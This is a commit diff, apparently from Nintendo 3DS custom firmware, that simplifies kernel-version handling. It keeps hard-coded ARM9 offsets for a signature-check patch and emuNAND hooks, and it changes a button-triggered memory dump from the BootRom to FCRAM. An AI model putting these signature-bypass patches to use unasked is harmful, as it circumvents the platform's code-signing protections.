//Offsets to redirect to thread code
|
||||||
u32 sigPatch(u8 val, u32 kver){
|
u32 sigPatch(u8 val){
|
||||||
u32 ret = NULL;
|
return val == 1 ?
|
||||||
switch(kver){
|
PROC9 + (0x080632B8 - P9_ADDR) :
|
||||||
case 0x04:
|
PROC9 + (0x0805D628 - P9_ADDR);
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + (0x08063C28 - P9_ADDR) :
|
|
||||||
PROC9 + (0x0805E2D4 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x0C:
|
|
||||||
ret = val == 1 ?
|
|
||||||
0 :
|
|
||||||
0; //TODO: find
|
|
||||||
break;
|
|
||||||
case 0x0F:
|
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + (0x08063374 - P9_ADDR) :
|
|
||||||
PROC9 + (0x0805D498 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
case 0x18:
|
|
||||||
ret = val == 1 ?
|
|
||||||
PROC9 + v9_6_Offset + (0x080632B8 - P9_ADDR) :
|
|
||||||
PROC9 + v9_6_Offset + (0x0805D628 - P9_ADDR);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
}
|
@ -21,11 +21,11 @@ u8 th2[4];
|
|||||||
/**************************************************
|
/**************************************************
|
||||||
* Functions
|
* Functions
|
||||||
**************************************************/
|
**************************************************/
|
||||||
u32 emuCode(u32 kver);
|
u32 emuCode(void);
|
||||||
u32 mpuCode(u32 kver);
|
u32 mpuCode(void);
|
||||||
u32 threadCode(u32 kver);
|
u32 threadCode(void);
|
||||||
u32 threadHook(u8 val, u32 kver);
|
u32 threadHook(u8 val);
|
||||||
u32 emuHook(u8 val, u32 kver);
|
u32 emuHook(u8 val);
|
||||||
u32 sigPatch(u8 val, u32 kver);
|
u32 sigPatch(u8 val);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -10,7 +10,7 @@ void *memset(void * ptr, int value, unsigned int num){
|
|||||||
}
|
}
|
||||||
|
|
||||||
int strcomp(char* s1, char* s2, unsigned int size){
|
int strcomp(char* s1, char* s2, unsigned int size){
|
||||||
for(int i = 0; i < size; i++){
|
for(int i = 0; i < size*2; i++){
|
||||||
if(s1[i] != s2[i]) return 0;
|
if(s1[i] != s2[i]) return 0;
|
||||||
}
|
}
|
||||||
return 1;
|
return 1;
|
||||||
|
@ -68,7 +68,9 @@ void screenShot(int frame){
|
|||||||
void patches(void){
|
void patches(void){
|
||||||
//Change version string
|
//Change version string
|
||||||
for(int i = 0; i < 0x600000; i+=4){
|
for(int i = 0; i < 0x600000; i+=4){
|
||||||
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
|
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)){
|
||||||
|
if(strcomp((void*)0x27B00000 - i + 0x28, (void*)"T_ver_00", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -79,7 +81,7 @@ void thread(void){
|
|||||||
screenShot(BOT_FRAME);
|
screenShot(BOT_FRAME);
|
||||||
}
|
}
|
||||||
if(isPressed(BUTTON_START | BUTTON_X)){
|
if(isPressed(BUTTON_START | BUTTON_X)){
|
||||||
memdump(L"sdmc:/BootRom.bin", 0xFFFF0000, 0x8000);
|
memdump(L"sdmc:/FCRAM.bin", (void*)0x27500000, 0x600000);
|
||||||
}
|
}
|
||||||
patches();
|
patches();
|
||||||
}
|
}
|
||||||
|
Reference in New Issue
Block a user